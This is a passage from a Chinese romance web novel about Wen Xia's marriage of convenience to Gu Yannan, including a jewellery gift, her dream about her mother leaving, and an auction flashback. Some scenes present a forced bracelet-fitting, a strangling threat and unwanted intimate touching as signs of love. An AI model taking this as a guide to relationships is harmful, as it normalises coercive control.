温诗也没提这个讨人厌的姐夫,切入正题:[姐我的片酬到账了,我等会儿就打给你,之前的那张卡还在用吧?]
温诗坚定认为,她嫁给顾衍南是忍辱负重,或者说,她这不叫嫁,是把自己卖给了顾衍南。于是自打她和顾衍南结婚,温诗一改往日懒散佛系的工作态度,行程排的满满的,也不乱花钱,执意要攒够钱,把她从顾衍南手里“赎”回来。
温夏无奈又感动,父亲去世后,母亲改嫁,谁也没带,好在大哥当时已经成年,承担着照顾两个妹妹的责任。
但温砚和她都是内敛的性子,温诗跟他们大相径庭,性格跳脱直爽,比起温砚,温夏和温诗更亲,温诗很听她的话,但打钱这事,温夏怎么都拧不过她。
[还在用。]她回。就当帮温诗攒钱了。
温诗发了个“OK”的emoji.
说完正事,温夏问起妹妹的近况。
温诗:[姐你是不知道那傻逼男一号演技有多差,我简直要被他给气死了……]
温诗估计猜出她现在不方便打电话,就打字吐槽在剧组遇到的糟心事,温夏耐心听着,时不时给她几句安慰。
聊到一半,温诗话题突转:[姐,我昨晚遇到妈了。]
温夏目光一顿。
温诗:[她看着状态挺不错,我把大哥的事告诉她了,她还说过几天有事回国,如果有时间会去找你,我就把你的号码给她了。]
这话显然是客套,温夏在伦敦住了六年,她记得黎女士的丈夫就定居在伦敦,她们却从未联系过。
温夏对黎女士倒没什么怨怼,但也不像温诗对她残存期待。
[好,如果她给我打电话,我会去。]温夏应付妹妹。
温诗:[好哦,姐你忙吧,我要去拍戏啦。]
[有事记得给我打电话。]温夏叮嘱。
摁灭手机,温夏的脑海里不自觉浮现一张已经变得陌生的脸,她们有多少年没见过了?六年还是七年?
上次见面是外婆的葬礼……应该是七年。
将手机塞回包里,温夏注意到包里的黑色丝绒盒子,是她早上特意拿的蓝宝石戒指。她把盒子拿出来,慢慢打开,里面躺着一颗19.42克拉的斯里兰卡蓝宝石,外面镶嵌一整圈的钻石,流光溢彩。
很好看,温家没出事那会,她也不舍得买这么大个头的蓝宝石,这是占了顾爷爷的便宜。
温夏正要往手上戴,下意识往身侧瞥了眼,就这样猝不及防地撞进那双漆黑深沉的桃花眸中。
心脏猛地一跳,他什么时候醒的?
眼神清明,没有刚醒的迷茫睡意,他盯她看了多久?
温夏抿了抿唇,没说什么,拿着戒指往无名指上套。
这个位置原本该戴婚戒的,他们自然也有婚戒,只在婚礼上作为流程中的一环出现过一次,他没再戴过,她亦然。
她的手指细白纤长,戴戒指很好看,顾衍南盯着看了几秒,淡声评价:“挺适合你。”
温夏微怔,低眸看着璀璨的蓝宝石,很漂亮,尺寸正合适,很适合她。
“谢谢,我很喜欢。”
顾衍南盯着她的手指,眼眸动了下,状似不经意提起:“你以前说过,你喜欢蓝宝石和珍珠。”
他的语气没什么起伏,像是单纯在陈述一件事实,温夏的心脏却猛地抽搐了下。
她垂眸,眼睫轻颤:“有吗?”
有吗。
顾衍南指骨一紧,视线上移,她低着头,他只能看到她的半张侧脸。
“不记得了?”
她似是在回忆,想了一会儿,先摇头,又点了下:“我好像是有段时间比较喜欢珍珠和蓝宝石,太久了,记不清了。”
太久。
十年,确实太久。
记不清才是正常的。
顾衍南眼神沁冷,没什么情绪地嗤了声,嗓音淡淡:“是挺久的,也可能是我记错人了。”
温夏绷紧唇,唇角泛白。
接下来的半小时一路无言。
车子停在巷口,下车后,温夏主动挽住顾衍南的手臂,就像以往数次那样。
顾衍南冷嗤了声。
温夏神经一紧,抿着唇,挽着他的手往里走。
许是蓝宝石太闪,一进门阮眠就注意到了:“哇——嫂嫂你的戒指好漂亮!”
听到这话,顾老爷子朝她的手看去。
温夏笑笑:“你哥送我的。”
话落,温夏看到顾爷爷的面色缓了缓。
这枚戒指的使命完成了。
今天的主角不是他们,是即将举行婚礼的阮眠,江肆今天也来了,见到他们打了个招呼,温夏颔首,算是回应。
一顿饭,都在谈论婚礼的事,阮眠兴致特别高,吃完饭拉着她挑请柬的样式。
“小夏。”
突然,顾爷爷喊她。
温夏微怔,抬眸,看到顾爷爷身后的杨叔手中拿着一个古朴的檀木盒,里面躺着一只通透碧绿的翡翠手镯。
“这个手镯是你太爷爷送给你太奶奶的定情信物,他们这一生的感情顺遂,白头偕老,就把这个镯子留给后代,算是一种美好的祝愿,”顾老爷子的声音有几分惆怅,“当年你婆婆走之前,把镯子给我,让我转交给她未来的儿媳。”
“我人老了,记性不好,今天眠眠回她爸妈以前的家我才想起来,忘了把镯子给你。”
温夏瞳眸微震,看着那只躺在黑色绒面上通透纯净的翡翠,内心有种说不出的沉重。
下意识看向顾衍南。
却发现他正在看她,眼眸深沉晦暗。
温夏蜷了下手指。
“这是你妈留给你们的,你——去给小夏戴上。”顾老爷子看向顾衍南,沉声吩咐。
顾衍南眯眼看着那只翡翠手镯,不知道在想什么。几秒后,他起身,拿起手镯,走到温夏身边。
“伸手。”
温夏肩膀有些僵硬,但顾爷爷在这,她不可能拒绝,只能把手伸出去。
白皙细痩的手腕套上翠绿色的镯子,将她的手腕圈住。
顾衍南收回手,指尖划过她细腻柔软的肌肤。
翡翠冰凉,比戒指的存在感要强很多,手腕宛若千斤重。
回到明湖公馆,温夏第一件事就是把镯子摘掉,顶级的冰种帝王绿翡翠,至少九位数,更何况这是寄托顾家几代长辈,还有他妈妈美好祝福的传家宝。
不该戴在她手上。
翡翠易碎,哪怕她再谨慎,也有可能出意外。
放回珠宝台,温夏长舒一口气,低眸看着无名指上的蓝宝石,眼神有一瞬的恍惚。
“为什么摘掉?”
正要摘戒指,身后突然响起冷沉的男声。
温夏倏地回头,他穿着件黑色衬衫,领口的扣子解掉两颗,随性慵懒,眸底却毫无温度。
以为他说的是戒指,她回:“这个太重了,睡觉戴着不舒服。”
顾衍南眯起眼,冷声:“我问的是手镯,为什么摘掉?”
他的语气有些重,又生气了,但温夏真的不想戴这枚手镯。她能收其他贵重的礼物,但这个不行,意义太重大,她承担不起。
温夏好声好气地解释:“这是你妈妈留给儿媳的,我怕不小心弄碎了。”
“你不就是她儿媳?弄碎她不会怪你。”
温夏不得不把话说得更明白:“现在是,但以后不一定是,要是在我手里碎掉——”
“你怎么知道以后不一定是?”他冷声打断她。
空气一瞬间仿佛凝滞住了。
垂在身侧的手指一点点攥紧,直至关节开始泛白,温夏咽了咽嗓子,强行冷静下来,避重就轻道:“我工作要出入各种场合,不小心磕了碰了的就不好了,收起来吧,我会好好保存的。”
顿了下,她缓声道:“如果你担心顾爷爷看我没戴会不高兴,以后我们回老宅我会戴上,不会因为这事给你惹麻烦。”
她自问这番话态度很诚恳,也设身处地为他着想了,但顾衍南的脸色却更冷,黑眸紧锁着她,像一张密不透风的铁网牢牢将她罩住,过于强势的压制。
突然,他抬腿朝她走来。
温夏下意识后退。
察觉到她的动作,顾衍南骤然眯起眼,眸色冰冷。
身后是珠宝台,很快,温夏退无可退。
顾衍南走到珠宝台前,从里面把她刚收好的翡翠手镯拿出来,强行拽过她的手腕,要给她戴。
完全不同于在顾爷爷面前的温柔,他动作强硬地像是警察给穷凶极恶的嫌疑犯戴手铐。
温夏用力抽手。
毫不意外,没抽动。
“我不戴……”
顾衍南没理她,拽着她的手往上套。
她还在挣扎,那股拼命挣脱的狠劲,仿佛这不是价值连城的翡翠手镯,而是会囚禁她终生的手铐。
一连几次,顾衍南的脸色彻底冷下来,加重力道,捏得她手骨疼。他冷眼看她,沉声:“别乱动,要是被你故意弄碎了,我就掐死你。”
温夏的身体一僵。
她的力道怎么可能抵抗过他,也担心挣扎间不小心摔碎,手镯最终还是戴上了。
顾衍南垂眼,目光在她细瘦白皙的手腕停留片刻。
他很早就觉得,她适合戴翡翠手镯。
果然合适。
衬得她皮肤更白了。
松开她的手腕,白皙手腕上留下浅浅指痕。
是他刚才用力攥的痕迹。
不知道是真怕他掐死她还是怕把镯子弄碎,她没有摘下来,长发因剧烈挣扎有几分凌乱,黑白分明的眸子瞪着他,眼眶染上几抹红。
顾衍南舒了一口气,直起身,居高临下地看着她,语气似宣告似命令:“戴着,你当一天的顾太太,就一天不准摘下来。”
第22章 孔雀开屏
手腕隐约的痛意让温夏面上保持冷静。
但颤抖的指尖彰显她此刻的怒意。
他的反复无常, 冷硬强势,她觉得自己快被顾衍南逼得精神分裂了。
这枚手镯的意义他不会不知道,强行让她戴上去, 还不准她摘下来, 又是什么意思?
那天他把话说得再清楚不过,每一个字她都铭记于心。
少时读《小王子》看到一句话,想要和别人制造羁绊,就要承受掉眼泪的风险。
她不想掉眼泪,所以除了十年前和他那次,她从不主动和人产生羁绊。
十年前,意识到再深入会有掉眼泪的风险, 她迅速抽身。
但现在,她被他剥夺了随意离开的权利。
他无形中制造一张铺天盖地的铁网,从四面八方将她笼罩,密不透风, 她被挤压得只剩最后一丝缝隙。
只有画地为牢, 才能保住这最后的、属于她的独立空间。
温夏咽了咽嗓子, 声音恢复平静:“是你让我戴的,要是不小心弄碎了你不要怪我。”
见她没再反抗,顾衍南的脸色缓了缓:“除非让我知道你是故意的。”
她哪有那么坏?她又不是他。
温夏抿着唇, 不欲和他多说:“我去洗澡。”
语气有些冲,顾衍南挑了下眉,微不可觉地勾了勾唇。
“去吧。”他抬腿,给她让路。
-
手腕上多了个翡翠镯子, 温夏有些不习惯,她睡觉的时候手上从来不戴东西。
镯子冰冰凉凉的,存在感很强。
指腹无意识摩擦冰凉光滑的圈圈, 忽然腰间一沉,顾衍南的胳膊落下来,搭在她腰上,手钻了进去。
他身上有浅淡的烟草味,她洗完澡出来,发现他在阳台抽烟。
他现在很爱抽烟。
烟味混着清冽的水汽,无孔不入地钻入她的呼吸,温夏身体绷紧,抓住他的手:“我还在生理期。”
“我知道,不做,只是摸。”他回。
“……”
温夏闭上眼睛,把自己想象成石头,奈何她不是真的石头,眼睛闭上,身体的其他感官不仅没法关闭,敏感度反倒成倍数地增加。
他说得好听,实际上不仅是摸,薄唇有一下没一下地亲吻她的脸颊,从眉心到眼睛再到唇角,最后亲了亲下巴,转移到耳朵。
蜻蜓点水般的浅吻,生理反应能抵抗住,直到他突然张口,轻轻含住她的耳朵,技巧灵活舔咬含噬,仿佛真的要把她的耳朵吃掉。
湿濡的触感让温夏身体忍不住颤栗,她蜷了蜷脚趾,分散注意力,他的手掌慢慢往上,指腹略带薄茧。
温夏紧紧咬唇,只觉有一股股细小的电流钻进身体里,迅速流窜至全身。
强忍着,不发出声音。
突然,吊带被挑下,温夏还没反应过来,一只强有力的大手扣住她的腰,他低头。
“顾衍南!”电流迅速在脊柱骨流窜,温夏克制不住了,用力推了下他的肩膀。
“有反应了?”他轻咬了下。
“……”
“生理期,你忍忍吧。”
“……”
肩膀推不动,温夏去推埋在她胸口的脑袋,他又亲了两下另一边的口口,暂时放过她,将她搂在怀里,掌心贴上她的小腹,轻轻揉着。
动作温柔,蜷缩的神经慢慢舒缓,黑暗中,温夏听到他在她耳边轻声说:“以后少喝点凉的。”
“知道了。”温夏被气的,语气不耐。
他没计较她的态度,另一只手摸到她戴镯子的手腕,摸了一会儿,又去摸她的手指。
在她的左手无名指上捏了几下,他突然问:“测过智商没有?”
温夏不明所以:“测过。”
“多少?”
“……137,怎么了?”
他没回她,紧了紧手臂,下巴搁在她肩窝,“睡吧。”
温夏觉得他莫名其妙,但他不打扰她睡觉,她求之不得,自然不会多问。
他的脖子贴着她的,温夏动了动,在他怀里找了个舒适的姿势,闭上眼睛。
忙了一天,身体很累,很快酝酿出睡意。
迷迷糊糊中,她似有若无听到一声低喃:“智商没比我低多少,怎么记性这么差?”
……
十年前,大年初九。
维港有一场私人邮轮拍卖会,温夏受邀参加,看中一套蓝宝石项链和珍珠项链,不算太贵,起拍价一套三百万一套四百万,正好用大哥给的压岁钱买单。
然而,囊中之物居然被顾衍南截胡。
他也来了这场拍卖会,温夏一早就知道,她刚上邮轮,就听人议论顾衍南也来了,兴奋地讨论今天穿得裙子好不好看,钻石够不够闪。
温夏仍是那身素色长裙,脚踩裸色细高跟,举牌报价,先是十万十万往上加,后来二十万,加到五百万,没人再喊。
这个价位的珠宝收藏价值不是太高,温夏买来是觉得和她的新裙子很搭。
第三下木槌即将敲下,成交的前一刻,一道清冷温润的嗓音传遍整个拍卖厅:“六百万。”
嗓音染上低沉的磁性,还带着几分少年特有的玩世不恭。
温夏倏地朝声源处看去。
她知道他坐在哪儿,很容易在人群中看到他,他一袭黑色长大衣,黑衣黑裤,高高在上的冷色调。
他没回头,看不见神情。
周围响起小声议论——
倒不是这个价格多高,而是顾衍南为什么要拍一副女人戴的珠宝?
他家里只有顾老爷子一个亲人,总不能拿蓝宝石项链送给年过七旬的老头吧?
还是说,他有女朋友了?
是谁?!!
窃窃私语传入温夏耳中,她抿紧唇,他们约之前,自然问清楚彼此的感情状况,他当时跟她说的是“单身”,是有女朋友了吗?还是有准备发展成女朋友的心仪对象?
他是不是该提前和她说一声,毕竟他们昨晚刚做过,做到天快亮。
温夏觉得他这事做的挺缺德的,打算拍卖会结束就跟他说断了,虽然她对他很满意,但不代表她接受他心里有深爱的爱慕对象,却在她身上寻求肉.体的欢愉。
“七百万。”她加价。
“八百万。”
“九百万。”
“……”
一百万一百万的加,三百万的项链加到一千八百万,温夏没钱再加了。
大哥赚钱很辛苦的,她不能肆无忌惮地败家。
她放弃这套蓝宝石项链,打算把剩下的钱全部用来买另一套珍珠项链,然而又被顾衍南截胡了。
这套一直加到两千万,他还要往上喊,温夏抿着唇,故意往上抬,翻了个倍,等顾衍南喊到四千万二百万,她耸了耸肩,没再喊。
花十几倍买一条四百万的项链,冤大头都没他这么冤。
他却丝毫不觉得花冤枉钱,似是不想让人觉得他在针对她,接下来一连拍了十几件珠宝,全是女人戴的。
完全不在乎价格,像个混不痞的二世祖。
“顾大公子这是要送给谁啊?没听到风声啊?”
“不知道,难道是国外的?他不是在美国念书吗?”
有人神叨叨地说了句:“我觉得吧,顾大公子喜欢的女孩今天也来了,不然他怎么像孔雀开屏一样展示财力?”
“啊——谁啊谁啊???”
拍卖会结束,温夏被梁从音拉着喝酒,听人分析顾大公子今晚这般烧钱是为了哪个姑娘。
喝的不多,温夏回到房间,洗完澡,纠结是今晚还是明早跟顾衍南提断了。
推开浴室的门,赤脚踩在厚实的地毯上,温夏围着条浴巾,脚步募地顿住。
卧室的单人沙发上,少年静静坐着,低头不知道在看什么。
听到动静,掀眸朝她看去。
温夏攥紧浴巾,警惕地四处张望,“你怎么进来的?”
这是她的房间!
“这座邮轮,是我的。”
温夏气急:“是你的你就能随意进客人房间?”
他嗓音淡淡,一副很有理的语气:“我给你发短信你没回,我只好来找你。”
“……”
他拿起摊开的书晃了晃,挑起眉梢:“温大小姐,你平时就看这种书?”
温夏的脸颊不受控制地烧了起来,他手中是一本言情小说,睡前看书是她从小养成的习惯,她什么题材的书都看,上到文学名著下到几块钱一本的彩皮封面小说,全当打发时间的消遣。
最近这段时间也不知道怎么回事,看起了“你爱我我爱你”的言情小说。
剧情俗套,却越看越上头。
他这幅漫不经心的语气,温夏怎么会听不出,他在嘲笑她品味庸俗。
顾衍南像是觉得火不够旺似的,拿起书用毫无情绪起伏的机械音照着读:“男人掐住她的腰,将她抵在墙上,冷笑一声:‘女人,你逃不掉的,乖乖在城堡为我……’”
“闭嘴!”温夏面如火烧,丝毫不顾淑女形象,大步走到他面前抢书。
顾衍南笑得不行,把她拉到怀里,“你让谁闭嘴?”
温夏抢到书,扔到地上,冷眼看他:“你——闭嘴!”
“再说一遍。”他嗓音含笑,暗含威胁。
“闭嘴!!”
他舔了舔唇,低低笑出声,把她压在沙发上,去挠她的痒痒肉。
温夏缩着脖子,躲他的手。
两个人的重力压在沙发背上,沙发被带倒,他们滚到厚厚的地毯上,温夏以压倒性的劣势被他压制。
顾衍南骑在她身上,双腿抵在她腿间让她动弹不得,伸手捏她的脸,边捏边往两边扯。
“服不服?”
温夏狠狠地瞪着他。
他用了点力:“服不服?”
“疼。”
他松手,接着去抓她痒痒肉,温夏不断后退,他穷追不舍,还在问:“服不服?嗯?”
温夏狼狈得不行,没吃眼前亏:“服,服,你松开我。”
顾衍南满意了,轻轻拍了两下她的脸蛋:“我好心来给你送礼物,你上来就叫我闭嘴,态度太恶劣。”
温夏用力拍开他的手,面无表情:“我今天没兴致做,你可以出去了。”
说完,她拢了拢挣扎间快掉的浴巾,扶着床脚起身,他长腿一勾,温夏又倒在他身上。
“放开——”
“我来给你送礼物的。”他打断她的话,眸中染上几分薄笑。
温夏脸色还是很不好看:“我不缺礼物,更不需要你送的。”
顾衍南抬起她的下巴,同时低下头,薄唇跟她隔了一根手指的距离,嗓音含笑:“可是我想送给你,怎么办?”
温夏下意识屏住呼吸,眼眸有一瞬的慌乱,“……什么礼物?”
“今晚拍的所有,”顿了下,他强调,“包括从你手中抢的那两套项链。”
“……”
“都给你。”
“……”
他靠得太近,温热的呼吸烫到她的脸,温夏感觉呼吸都被他掠夺了,她往后退,后面是床,退无可退。她抿了抿唇,状似随口问了句:“为什么要送我礼物?”
“心情好。”他回得漫不经心。
温夏眸底闪过一丝黯淡,淡声说:“太贵重了,我不能收。”
他皱了下眉,似是有些不悦,随口扯了个送礼物的借口:“就当是送给你的成年生日礼物,补给你的。”
“我……”
“收下,”他看着她的眼睛,低声,“温夏,我想你收下。”
卧室光线是柔和温暖的黄光,四周阒静,四目相对,心跳声清晰可闻。
他眸色漆黑深沉,像是深不见底的黑洞,能把人吸进去。
温夏下意识想躲。
强撑着,才没有退缩。
良久,温夏挪开视线,轻声说:“我只收那两套,我最喜欢蓝宝石和珍珠,剩下的不怎么喜欢。”
“蓝宝石和珍珠……”他重复。
“嗯。”
“还有别的吗?”
温夏想了想,摇头:“其他的一般般。”
“嗯,”顾衍南应了声,轻轻抬起她的手,在掌面亲了下,“我记下了。”
第23章 她怎么能这么对他?
这些年, 温夏很少梦到她和顾衍南的那段往事。
人的大脑很奇怪,很多以为早已遗忘的,自认为不重要的时刻, 无端在梦中重现后, 没完没了似的,一帧帧画面如潮水般清晰涌入。
他们的相处时间大多在床上,原始的、冲动的、不计后果的抵死缠绵,不过鱼水之欢之余,也有几段与情.欲无关,不符合炮友关系的回忆。
梦境中,大脑飞速运转, 像电影快速倒放的镜头,无数帧画面一闪而过,记忆越拉越远,倒退到她十四岁那年。
也许是白日里温诗提到那个久违的称呼, 温夏罕见地梦到小时候, 梦到黎女士。
多年未见, 即使是梦中,她也没能看清黎女士的脸,只记得他们兄妹三人, 她和黎女士长得最像。
她曾听长辈聊起,黎女士和父亲是圈内少数自由恋爱走入婚姻的夫妻,两人有过深厚的感情,所以接连生下三个孩子。
但这些仅限于长辈口中的传言, 因为自温夏记事以来,父母就很少同框出现了。
只有在家宴、发布会这种必要同框的场合,他们才会手挽手一起出现, 默契维持表面的和谐。
十四岁那年冬天,父亲意外死于空难,听家里佣人私下嚼舌根,死的不只有父亲,还有他的几位情人,他们去太平洋上的小岛度假,开私人飞机去的,飞机坠机,无一生还。
比起母亲,温夏对这位遗传学意义上的父亲感情几乎为零,她不记得自己葬礼上哭没哭,只记得黎女士得知这个消息时的第一反应是——解脱。
葬礼后,黎女士向她和大哥表明,她打算和她的一位情夫去伦敦发展事业。
当然,她没有说得那么直白,只说是和一位朋友。
但温夏曾在十二岁生日那天,做了很久的心理建设,想要黎女士陪她过生日,去工作室找她,意外撞见她和她口中的那位朋友在办公椅上缠绵,进而得知母亲和父亲并没有什么本质区别。
“我今年四十岁,前半生和你们的父亲绑在一起,剩下的几十年我想过自己想要的生活,我希望你们能支持我。”黎女士温声和他们兄妹二人商量。
与其说是商量,不如说是通知,因为他们投反对票也没用,好在十八岁的温砚早已过了需要母爱的年纪,十四岁的温夏经历过那几件事,也不需要所谓的母爱。
她和大哥对视一眼,在彼此眼中看到同样的淡然。
挽留的话他们都没说,一是没必要,二是没用。
黎女士这些年,对他们兄妹三人还算不错,除了温夏意外撞破那次,她从不把外面的事带回家,给他们请最好的家教老师,每年生日都送他们礼物,在生活费上,更是毫不吝啬。
他们平和地说了几句道别的话,温夏轻声说:“您空闲的时候多给诗诗打几个电话吧,她有些舍不得您。”
对于那些肮脏的事,几人默契地选择隐瞒年仅十岁的温诗,父母不一定爱孩子,但孩子天然深爱父母,温诗只知道父母关系不太好,他们工作很忙,但她……她还是想要爸爸妈妈。
温夏和妹妹讲了很多道理,尝试用正常的十岁孩童能听得懂的话告诉她妈妈要离开他们这件事。
最后,小小的温诗哭着接受。
接下来的几天,黎女士的东西一车一车搬出去,正式告别那天是一个雷雨天,黎女士分别和他们抱了一下,摸了摸温诗的小脑袋,“妈妈有时间会回来看你们。”
温诗哭得涕泗横流,温夏把她拉开:“再见,妈。”
黎女士转身前,最后看了他们一眼,眼底有不舍,有悲戚,有遗憾,有内疚,不过占比很小,加起来也比不过浓浓的解脱。
保镖撑着黑色雨伞走过来,提醒:“夫人,该走了。”
“嗯。”黎女士看向温砚,“阿砚,照顾好妹妹。”
温砚:“我会的。”
一声惊雷炸响,雨势越来越大。
她盯着那道越走越远的背影,一时没有注意怀中的温诗突然挣脱她的手,冲进雨幕中。
“妈,你不要走,”她还没到黎女士的肩膀,小手紧紧搂着妈妈的腰,哭得泣不成声,“妈,求求你,不要走,不要丢下我。”
黎女士接过保镖的伞,撑在她头顶,动容很快被无奈取代,她看向温夏和温砚,向两人求助。
滚滚雷声带来更暴烈的雨,视野一片潮湿。
温砚把温诗抱起,温夏温声安慰她,黎女士再三保证有时间一定会回来看他们。
连哄带劝,温诗最终安静缩在大哥怀里,无声抽噎。
“夏夏,辛苦你这些天多陪陪诗诗。”
温夏:“我会的。”
黎女士如释重负地叹了声:“再见。”
“再见。”
隔着朦胧的雨幕,她目送黎女士上车。
在连廊站了会,感觉到身体冷得快要僵硬,她转身。
身后,雷声轰鸣。
……
顾衍南是在温夏不停颤抖中惊醒的。
她蜷缩在他怀中,双手无意识紧攥成拳,很用力,指甲隐隐泛白。
好似受到什么惊吓,低喃着呓语:“不要走……不要走……”
声音很低,要靠近才能听清。
顾衍南怔住,意识骤然恢复清醒,身体一寸寸僵住。
不要走、不要走。
她曾经挽留过谁吗?
她也会挽留人。
是她那个阴魂不散的前男友吗?
“不要、不要……”
她像是陷入了梦魇中,不断重复这两个字,手指越攥越紧,顾衍南阴着脸,盯着她看了半响,还是将她的手指一根根掰开,握在手中,防止她把自己掐出血。
“轰隆——”
一道惊雷在空中炸响。
“不要!”
温夏从一重又一重的梦境中惊醒,心脏剧烈跳动,强而有力,能清晰听到“咚咚咚”的声响。
床头的夜灯散发微弱的光线,她胸口剧烈起伏,喘着粗气,脸色苍白,双眸涣散,茫然地看着天花板。
狼狈、可怜、脆弱得仿若濒死的美人鱼。
顾衍南喉咙一紧,心脏也缩了起来,本能冲破心中那点她可能梦到前男友的不悦,伸手将她揽在怀里,偏冷质感的嗓音不自觉低了下来:“好了,没事了。”
温夏的大脑处于极度混沌中,后知后觉意识到手指不知何时被他攥着,她怔怔地看着,不自觉回握。
腰间的力道更紧。
“轰隆——”
又一声雷响。
温夏下意识朝他怀里缩了缩。
顾衍南低眸,看着她巴掌大小的素白脸蛋,一副哄孩子的语气:“乖,睡吧。”
她乖乖闭上眼。
顾衍南眉头舒缓,手掌轻拍她的后背,哄了一会儿,以为她睡着了,正准备睡,怀里的人突然喊他:“顾衍南。”
“嗯?”他声音有点沙哑。
“打雷了。”
“劈不到你。”
“……”
她在他怀里动了动,攥着他的衣服,重复低喃:“打雷了。”
顾衍南垂眸,她身上穿着件吊带睡裙,裸露在外的肌肤白得晃眼,像一块通透无暇的暖玉。
喉结滚了两下,他压下身体起伏的躁意,哑着嗓子,难得耐心和她讲道理:“楼顶有避雷针,劈不到你。”
她却像个认死理的小孩子,还在重复:“打雷了。”
拍背的动作一顿,顾衍南盯着她那张苍白的小脸看了几秒,喉结艰涩地滚了滚。
她害怕打雷吗?
怀中女人攥着他的衣角,脸蛋在他怀里蹭了蹭。
顾衍南沉默片刻,突然,他伸手,双手覆上她的耳朵。
温夏身体一僵。
干燥温暖的手掌贴上耳朵,堵住所有的杂音,整个世界都安静下来。
最后听到的是他低哑的声音:“睡吧,听不到了。”
-
翌日,雨过天晴。
这一觉,温夏睡得昏昏沉沉,起来后脑袋特别重,全身绵软无力,不仅没解乏,反倒把自己累得不行。
顾衍南已经起床了,身侧空无一人。
她躺在床上,睁眼看了会天花板,回忆昨晚做的梦。
太多太混乱,想了会儿,却什么也记不起来。
迷迷糊糊中,她中途好像醒了过来……
不记得了,什么也不记得。
温夏没有多想,扶着沉重的脑袋,慢慢坐直,翡翠手镯从手腕往下滑,她动作一顿,低眸看去。
只戴了一晚上,有点不习惯。
愣了片刻,摸起手机一看,快八点了,温夏连忙下床,钻进洗手间洗漱。
收拾完,下楼,正准备给助理发短信,订两份早餐,迎面撞上准备上楼的顾衍南。
他穿着身休闲的家居服,闲适优雅,一双黑眸静静望着她。
温夏感到莫名,没时间和他僵着,她得去公司,错开视线,从他身边绕过。
“你害怕打雷?”他突然出声。
温夏脚步顿住,摇摇头:“没有。”
她又没做亏心事,为什么要怕?
顾衍南眯起眼,目光在她脸上游离,像在审视她这句话是真是假。
他迟迟不说话,温夏有些着急,问他:“怎么了?”
顾衍南喉结滚了滚:“没事。”
温夏觉得莫名:“没事的话我去上班了。”
顾衍南盯着她看了几秒,收回视线,声音淡下来:“餐桌上有早餐,拿去吃。”
撂下这句话,他抬腿上楼,估计是去换衣服。
温夏在阶梯上站了几秒,下楼,看到餐桌上昨天早上同款的小笼包包装盒,眼眸微微动了下。
片刻,她抬腿走过去,将纸袋拎起来。
-
她到底怕不怕打雷?
怕的话,又是因为什么?
这几天,顾衍南工作时,时不时会想起她那晚的反应,还有她没有安全感的睡姿,小小的一团,很可怜,惹人心疼。
她矢口否认,是真的不怕,还是惯常的不想和他继续话题,所以敷衍他?
害怕,但是不想告诉他。
不想和他共享她的脆弱。
顾衍南眉眼沉了沉。
但他没有立刻质问她。
一来没找到合理发作的理由,二来不想再跟她吵架。
她这几天很乖,晚上吃饭时,他找话题她会回答,然后找新的话题把话接下去,床上也很和谐,每晚他都要抱着她睡,她乖乖窝在他怀里,他闻着她身上好闻的柠檬香入睡。
早上,他晨跑顺路给她带的早餐,她吃得津津有味,也没再当着他的面给她那个戴眼镜的学长做三明治。
比起那晚的低声下气,顾衍南更喜欢她这幅温柔乖巧的模样,强行压制心中的不满,维持来之不易的和谐。
想了许久,顾衍南断定,她肯定是怕的,只是不肯告诉他。
她不想说,他不拆穿她,以后打雷,他都在家陪着她就是了。
从澳洲出差回来,秦尧找了个庆祝他们几人共同投资的项目顺利进展的由头,把人喊来参加“庆功宴”。
真是太久没聚,秦尧在小群里一个一个@,大半夜不睡觉发疯在群里刷屏,颇有几分空巢老人的孤寂落寞感。
顾衍南嫌烦,屏蔽群消息,第二天秦尧就来公司找他,一副撒泼打滚不达目的不罢休的架势,顾衍南服了他了,只好牺牲今晚和温夏相处的时间。
他们这段时间相处得很融洽,晚上哪怕不做,也是要抱在一起睡的,无论哪一种,他都满意。
“不行了我真得走了啊,”刘郁端起酒杯,“我老婆刚才打电话说今晚得下雨,她胆子小,特别怕打雷,我得回去陪她。”
话落,连喝了三杯酒,“我自罚三杯,先撤了。”
秦尧怒踹他一脚:“天天你老婆你老婆,死你老婆身上吧!”
刘郁毫不在乎地拍了拍西装裤腿,无奈的语气中是藏不住的炫耀:“她性子娇,特别黏我,我作为丈夫当然要宠着,你们继续我先走——”
“我也走。”顾衍南的视线从窗外收回,淡声道。
秦尧:“?”
“你什么理由?别跟我说你老婆也怕打雷?!!”
秦尧这话纯属气急的嘲讽,温夏的心脏多强大啊,温家出事后她参加酒局,有个年纪能当她爹的老总就差明说让她陪他睡,她都能笑着给人敬酒,装作听不懂。
他从未见过心理素质比温夏还强大的女人,明明是涉世未深的大小姐,却能伸能屈到这种地步,说实话,秦尧挺佩服她的。她会怕打雷?估计雷声越大她睡得越香吧。
然而,下一秒,他听到顾衍南嗯了声:“她怕。”
秦尧:“……”
这是为了早走演都不演了是吧?
顾衍南灌了杯冰威士忌,淡淡瞥他一眼,“她胆子没你想的那么大。”
睡觉总要蜷成一小团,打个雷都怕得往他怀里缩,胆子能有多大。
他执意要走,秦尧没法拦也拦不住,气的去跟霍瑾深告状,阴阳怪气道:“国外治安多乱,温夏一个人在那生活这么多年,夜路不知道走了多少回,区区一个打雷有什么好怕的?英国没打过雷啊?”
霍瑾深端起酒杯漫不经心地抿了一口,语调淡淡:“他好不容易找到借口,你非得惹他发火?”
顾衍南起身,不冷不热地睨他一眼。
秦尧:“借口?什么借口???”
-
从包厢出来,刘郁被合作伙伴拦住,一时没法脱身,顾衍南率先离开。
夜色浓稠,天更阴了,漆黑的夜幕中乌云密布。
顾衍南抬头看了眼,淡淡地想,如果今晚打雷的话,她会像那晚一样,主动往他怀里钻吗?
“顾总!”
思绪被打断,顾衍南微微皱眉,看到踩着高跟鞋快步朝他走来的林曦。
林曦攥紧包带,鼓起勇气:“顾总,我有话想问您,能借一步说话吗?”
说完,她立刻补了句:“只要三分钟。”
顾衍南低眸看了眼腕表。
林曦脸色一白,胸口酸涩不已,有些念头几乎可以确信了,但她仍残存最后一丝希冀。
怎么会没有希冀,她长这么大以来,被无数男人追捧示爱,好不容易碰上一个自己喜欢的,如果连争取都不敢争取,她会遗憾终生。
她原本想要保持矜持,但合同签完,之后的工作都由下面的人来负责,她找不到机会和他见面。
暗戳戳从表嫂口中套到话,说表哥今晚要和朋友聚会,她想他大概率会来,便也来了。
但她没敢在包厢内多说什么,她怕表哥看穿她的心思,也怕惹得两人难堪,便在结束后拦住他。
“什么事,说吧。”顾衍南淡淡道。
林曦深吸一口气,抱着一副视死如归的心情,手指紧紧攥着包带,紧张又羞涩:“顾总,我想请您吃饭,您最近……哪天有时间吗?”
这话可以说很直接了,但顾衍南回拒得更直接:“我结婚了。”
